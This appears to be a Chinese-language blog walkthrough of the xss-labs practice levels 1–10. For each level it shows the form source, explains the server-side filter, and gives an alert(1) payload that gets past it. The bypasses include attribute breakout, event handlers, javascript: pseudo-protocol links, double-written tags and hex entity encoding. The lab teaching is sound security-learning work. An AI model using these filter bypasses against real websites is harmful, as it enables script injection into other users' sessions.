xss-labs · clubsk

xss-labs

前言

用的小皮

level 1

直接改url:<script>alert(1)</script>

level 2

先输入原payload,发现不行,查看源码中的表单

<form action=level2.php method=GET>
<input name=keyword  value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>

发现我们的输入被这个value框住了,于是在前面补”>,让它提前闭合,后执行paload "><script>alert(1)</script>

level 3

一样先输入原payload,然后看源码

<form action=level3.php method=GET>
<input name=keyword  value='&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>	
<input type=submit name=submit value=搜索 />
</form>

发现:这里的  ’  是原始单引号, >  和  <  被编码成了&gt和&lt , ”  被编码成了 &quot,换成单引号看看,还是不行. 原因:后端把  <  和  >  做了HTML 实体编码,把它们变成了  &lt 和  &gt 。浏览器看到的是  &ltscript&gt ,这只是一段普通的文字,不会被解析成可执行的脚本 既然不能创建新的  

HTML 标签有很多 事件属性(比如鼠标点击、悬停、按下等)。这些属性不需要尖括号就能生效。

' onclick='alert(1)

这里第二个单引号作用:利用后端原有符号闭合onclick

附上事件大全

level4

把单引号改成双引号即可

level 5

看下源码

<form action=level5.php method=GET>
<input name=keyword  value="" o_nclick="alert(1)">
<input type=submit name=submit value=搜索 />
</form>

发现on开头的事件都不行(可能进黑名单了)

这里用到新东西-超链接

"> <a href=javascript:alert(1)>6</a>

可以发现有一个蓝色的6,点一下就过了

level 6

发现href不行(跟上面一样,变成hr_ef) 改成大写看看(利用html的特性,HREF和href是一样的,大小写效果一样)

超链接

超链接的本质: href  属性

在 HTML 中,   标签的核心在于  href  属性(Hypertext REFerence,超文本引用)。它告诉浏览器:点击这里;去哪里? 在xss里面可以利用js伪协议执行代码

javascript伪协议

 javascript:  是一种伪协议,告诉浏览器:冒号后面不是网址,而是一段要在当前页面上下文里执行的 JavaScript 代码

JavaScript 伪协议常见注入点

以下位置如果直接拼入用户可控内容,可能触发 javascript: 伪协议执行。

  1. <a> 的 href
<a href="javascript:alert(1)">点击我</a>

用户点击链接时执行。

  1. <iframe> 的 src
<iframe src="javascript:alert(1)"></iframe>

iframe 加载时可能直接执行。

  1. <form> 的 action
<form action="javascript:alert(1)">
  <button>提交</button>
</form>

提交表单时执行。

  1. <button> 的 formaction
<button formaction="javascript:alert(1)">提交</button>

该按钮提交表单时执行,优先级高于 form 的 action。

  1. window.location
window.location = 'javascript:alert(1)';

赋值后浏览器尝试导航到该伪协议并执行。

  1. 地址栏

在浏览器地址栏手动输入:

javascript:alert(1)

浏览器会尝试执行(现代浏览器对粘贴内容会剥离 javascript: 前缀,手动逐字输入通常仍可执行)。

level 7

源码

<form action=level7.php method=GET>
<input name=keyword  value=""><>alert(1)</>">
<input type=submit name=submit value=搜索 />
</form>

发现被替换为空字符,这里根据php特性:只会替换一个,可以用双写注入进行绕过:"> <scriscriptpt>alert(1)</scriscriptpt>

level 8

<form action=level8.php method=GET>
<input name=keyword  value="&quot; onclick:&quot;alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>

可以发现:后端PHP中对字符“script”做了过滤,并且通过测试发现, 同时存在对属性字符如“href”、“onclick”等的过滤;url中部分输入被编码

这里的注入思路是:发现在输入框输入的内容,会被带入到友情链接的href属性中,是不是可以直接输入javascript:alert(1),点击友情链接不就可以了。

当我们输入后发现javascript被过滤了,所以使用HTML实体编码(即Unicode编码)去绕过

这里提供一个在线编码工具(也可以使用yakit里面的工具进行编码):

payload:`

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;(强制16进制编码)

关于url编码的学习:

对比点 HTML 编码 URL 编码
别名 HTML 实体编码 百分号编码
作用位置 HTML 文档、标签内容、属性值 URL、查询参数、表单数据
解析者 浏览器 HTML 解析器 URL 解析器 / 服务器
典型格式 &lt;、&#60;、&#x3C; %3C、%20、%26
常见用途 防 XSS、正确显示 < > & " ' 保证 URL 参数不被截断或误解
例子 <script> → &lt;script&gt; a&b → a%26b

level 9

原payload进去,发现,链接不合法

<form action=level9.php method=GET>
<input name=keyword  value="&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;&amp;#x3a;&amp;#x61;&amp;#x6c;&amp;#x65;&amp;#x72;&amp;#x74;&amp;#x28;&amp;#x31;&amp;#x29;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

通过不断输入发现,只要用户输入中包含字符串“http://”,后端PHP就会认为该输入是合法的URL

所以可以在原payload后面加/http:///

payload:

\&#x6A;\&#x61;\&#x76;\&#x61;\&#x73;\&#x63;\&#x72;\&#x69;\&#x70;\&#x74;\&#x3A;\&#x61;\&#x6C;\&#x65;\&#x72;\&#x74;\&#x28;\&#x31;\&#x29;/*http://*/

level 10

我去,没有输入框并且显示“没有找到和well done!相关的结果.”先看看源码吧

<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

这里看HTML源码没什么头绪,发现可以去看php源码


$str = $\_GET\["keyword"];

$str11 = $\_GET\["t\_sort"];

$str22=str\_replace(">","",$str11);

$str33=str\_replace("<","",$str22);

这里发现可以通过t_sort进行传参keyword=6&t_sort=<script>alert(1)</script>

但是发现尖括号被过滤(单双引号没有),想试一下点击事件,但是没有输入框咋整啊。没有输入框不能自己造一个吗,于是有payload:keyword=1&t_sort="type="text" onclick="alert(1)